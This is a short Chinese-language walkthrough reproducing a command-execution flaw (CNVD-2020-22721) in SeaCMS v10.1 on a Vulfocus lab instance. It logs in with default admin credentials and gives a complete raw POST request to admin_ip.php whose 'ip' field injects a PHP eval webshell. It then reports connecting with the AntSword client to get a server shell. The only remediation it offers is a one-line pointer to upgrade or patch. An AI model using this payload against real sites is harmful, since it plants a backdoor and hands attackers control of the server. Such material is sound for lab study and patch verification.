seacms 远程命令执行 （CNVD-2020-22721）

seacms 远程命令执行 （CNVD-2020-22721）

漏洞简介：

海洋CMS一套程序自适应电脑、手机、平板、APP多个终端入口。 SeaCMS v10.1存在命令执行漏洞，在w1aqhp/admin_ip.php下第五行使用set参数，对用户输入没有进行任何处理，直接写入文件。攻击者可利用该漏洞执行恶意代码，获取服务器权限。

环境搭建：

登录后台，账号admin,密码admin

访问后台IP安全设置网页 

 burp进行抓包，后面拼接一句话命名

POST /manager/admin_ip.php?action=set HTTP/1.1
Host: vulfocus.fofa.so:34208
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://vulfocus.fofa.so:34208
Connection: close
Referer: http://vulfocus.fofa.so:34208/manager/admin_ip.php
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1635834194,1635834251; grafana_session=4ed2fe8aecc214c9bbb634d8399014fb; Hm_lvt_deaeca6802357287fb453f342ce28dda=1640670569; ajs_user_id=null; ajs_group_id=null; ajs_anonymous_id=%2229814a38-17f9-413d-ad48-e704ca23ede6%22; SECKEY_ABVK=dZF+HPOlvzzkwiS3ULsWzugVwqg4ArCvLrzLblcuidQ%3D; BMAP_SECKEY=a52c397851ec0df6cb484b1d2c453acc49624b58896cb16fca4c15a2a5a330f41d048e40401107e5d699a5592f90abea5c64379815179d8bc02cbfd533f1c2784e84874764b6b40a032b23dbff4e931ed7413db121a2b52266f9290f239991ecce81595bf8b1ec1c3add56d6d7a9d1b87690ec447ec7359de0c799eafbaff605e058b6494a4df2b0d9b55365d4e0a5a8f6b1e541f01e99cd55369bee3dcc7f4a4a21514067b0064068c73d6609ca9562f3eea532cb3189fee339388c1217e1fdb620b1964f6c11ca3bc11fae160521eb40ac6155a72d15662b7b3c6e5ac53dfd290aa578ccc9f7d85e6382bd04011d4a; PHPSESSID=vkm739qeu2gjd7a0cbbp4vf93k; eth0_time=1640854789; eth0_num=0; eth0=899.299; login_auto=YXs3g0Y%3D%7Ce8370432763aed411bfc6be43e5bc69e416f1d76
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1

v=0&ip=+1233123231";eval($_POST[1]);//

访问，无报错

 蚁剑进行连接

 获得后台shell

 漏洞修复：

根据官方进行升级或者下载补丁包